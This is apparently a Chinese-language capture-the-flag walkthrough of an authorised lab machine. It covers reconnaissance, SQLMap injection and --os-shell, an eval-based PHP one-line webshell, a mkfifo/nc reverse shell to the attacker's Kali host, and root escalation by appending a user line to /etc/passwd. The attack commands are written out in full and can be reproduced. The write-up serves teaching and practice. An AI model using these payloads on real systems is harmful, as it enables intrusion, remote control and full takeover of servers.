这是一篇“从外到内”的完整渗透实战:你将经历信息收集、目录枚举、SQL 注入验证与利用、WebShell 落点、反弹 Shell、权限提升,直至获取 root。流程清晰、命令可复现,既能帮助新手快速建立“攻防全景图”,也方便老手复盘与演练。

  • 适用人群:渗透初学者、想要系统体验一次端到端流程的同学
  • 你将学到:
    • 怎么用 netdiscover/nmap/dirb 快速定位和摸清目标
    • 如何用 SQLMap 从注入点一步步拿到可控入口
    • WebShell 管理与反弹 Shell 的稳定化实践
    • 常见提权路径与验收思路
  • 合规提醒:仅在授权靶场或本地实验环境中操作。请勿将文中技巧用于任何未授权系统。

渗透实战全流程

步骤1:战场侦察 · 发现目标 🎯

任何一次渗透测试都始于信息收集。我们的攻击机是Kali(192.168.23.139),首先要做的就是找到目标靶机在哪里。

生动比喻:这就像玩捉迷藏,你得先知道对方大概藏在哪个房间。

操作命令
在Kali终端里,我们使用 netdiscover 工具进行网络扫描,寻找活跃的主机。

1
netdiscover



Bingo!🎯 我们发现了一个可疑目标:192.168.23.144,它就是我们的目标靶机!


步骤2:绘制地图 · 端口扫描与服务发现 🗺️

找到目标后,我们需要知道它的“门窗”是否敞开。这里我们使用神器 Nmap 进行端口扫描。

操作命令

1
nmap 192.168.23.144 -sT -v -T4

太好了!我们发现目标开放了 80端口(Web服务)。直接用浏览器访问一下:

一个简单的页面出现了!虽然看起来人畜无害,但往往最简单的页面背后隐藏着最复杂的秘密。😉


步骤3:寻找隐藏入口 · Web 目录扫描 🔍

网站不可能只有一个页面,肯定有隐藏的目录和文件。我们需要一把“钥匙”来打开这些隐藏的门。这里我们使用 DIRB 工具(因为Kali自带了它,而Dirsearch需要手动安装)。

操作命令

1
dirb http://192.168.23.144

哇!我们找到了一个关键文件:robots.txt!这是一个网站用来告诉搜索引擎哪些内容可以抓取,哪些不能抓取的文件,对渗透测试人员来说,它常常泄露敏感路径。

访问它看看:


里面有三个路径,但直接访问都被拒绝了。❌ 别灰心,我们用DIRB继续深入扫描这些路径!


重大发现! 在 /m3diNf0/ 目录下,我们找到了 phpinfo.php 文件。这个文件就像网站的“身份证”,包含了PHP环境的全部配置信息,极其敏感

在另一个目录 /se3reTdir777/ 下,我们发现了一个可以输入的网页,这很可能是一个注入点!


步骤4:撬开大门 · SQL 注入攻击 🗝️

我们在输入框里测试一下,输入 1 正常,输入 1' 时页面报错了!

生动比喻:这就像你拧门锁时,发现锁芯发出不正常的响声,说明锁可能有毛病,可以被撬开!

是时候请出我们的终极神器—— SQLMap 了!它能自动化地发现和利用SQL注入漏洞。

操作命令(爆出当前数据库名)

1
sqlmap -u "http://192.168.23.144/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db



成功了! 🎉 当前数据库名叫 aiweb1

操作命令(爆出数据库中的表名)

1
sqlmap -u "http://192.168.23.144/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables

我们发现了两张表:user 和 systemuser。继续爆破其中的数据,我们发现了一些用户名和密码,但密码被Base64加密了,而且暂时无法利用。

局势似乎僵住了?不!还记得之前找到的 phpinfo.php 吗?它泄露了网站的绝对路径!这为我们下一步攻击打下了坚实基础。


步骤5:内应部署 · 获取 WebShell 🐚

有了绝对路径,我们就可以尝试让SQLMap帮我们上传一个WebShell,从而在目标服务器上执行命令。

操作命令

1
sqlmap -u "http://192.168.23.144/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

SQLMap会交互式地问我们一些问题。我们选择手动输入之前找到的绝对路径下的 uploads 目录(因为这个目录通常有写权限)。

成功了! 我们拿到了一个 WebShell!这意味着我们在服务器内部安插了一个“内应”,可以通过它执行系统命令了。

为了更稳定、更方便地管理,我们上传一个经典的“一句话木马”文件。

一句话木马代码

1
<?php @eval($_POST['cmd']);?>

操作命令

1
sqlmap -u "http://192.168.23.144/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php


访问这个文件,页面是空白的,说明上传成功了!

现在,我们可以用更强大的图形化工具——蚁剑(AntSword) 来连接管理我们的WebShell了!

在蚁剑里,我们可以轻松地浏览文件、编辑文件,甚至有一个虚拟终端来执行命令!可视化操作,非常方便!


步骤6:里应外合 · 反弹 Shell 与权限提升 👑

WebShell虽然好用,但功能受限且不稳定。我们需要一个真正的、完整的系统Shell

生动比喻:WebShell就像是对讲机,信号不好功能还少;而系统Shell就像是直接接入了房间的内部电话,清晰稳定。

这一步叫反弹Shell(Reverse Shell),即让目标服务器主动连接我们攻击机的监听端口。

我们在攻击机(Kali)上打开一个监听端口:

1
nc -lvvp 4444

然后通过蚁剑的终端,让目标服务器反弹一个Shell回来。由于 -e 参数被禁用,我们使用更高级的命令:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.139 4444 >/tmp/f

成功了! 连接建立后,我们升级一下Shell,让它变成一个完全交互式的终端:

1
python -c "import pty;pty.spawn('/bin/bash')"



现在我们有了一个更稳定的Shell,但权限还不够高!最后一步,权限提升(Privilege Escalation),我们要成为真正的“root”皇帝!🤴

我们利用Linux系统添加用户的机制,直接创建一个具有root权限的新用户!

首先,用openssl生成一个加密后的密码:

1
openssl passwd -1 -salt h 123456

然后,将这个用户直接写入 /etc/passwd 文件:

1
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash' >> /etc/passwd

验证一下,用户确实创建成功了,而且是root权限!

现在,切换到这个用户:

1
su h

大功告成! 🎉 我们现在是 root 了!最后,寻找最终的Flag!

1
2
3
cd /
ls
cat flag.txt

Flag到手! 我们甚至可以直接用这个账号密码登录靶机的终端!


总结与思考 💡

这次完整的渗透测试之旅,我们经历了:

  1. 信息收集 (Netdiscover, Nmap)

  2. 目录枚举 (DIRB)

  3. 漏洞利用 (SQLMap进行SQL注入)

  4. 获取初始权限 (获取WebShell)

  5. 权限提升 (反弹Shell, 添加root用户)

每一步都环环相扣,信息收集是成功的关键。希望这篇博客能让你对渗透测试有一个直观的认识!记住,技术是用来防御的,让我们一起做守护网络的“白帽子”!

Happy Hacking! (Legally, of course!) 😊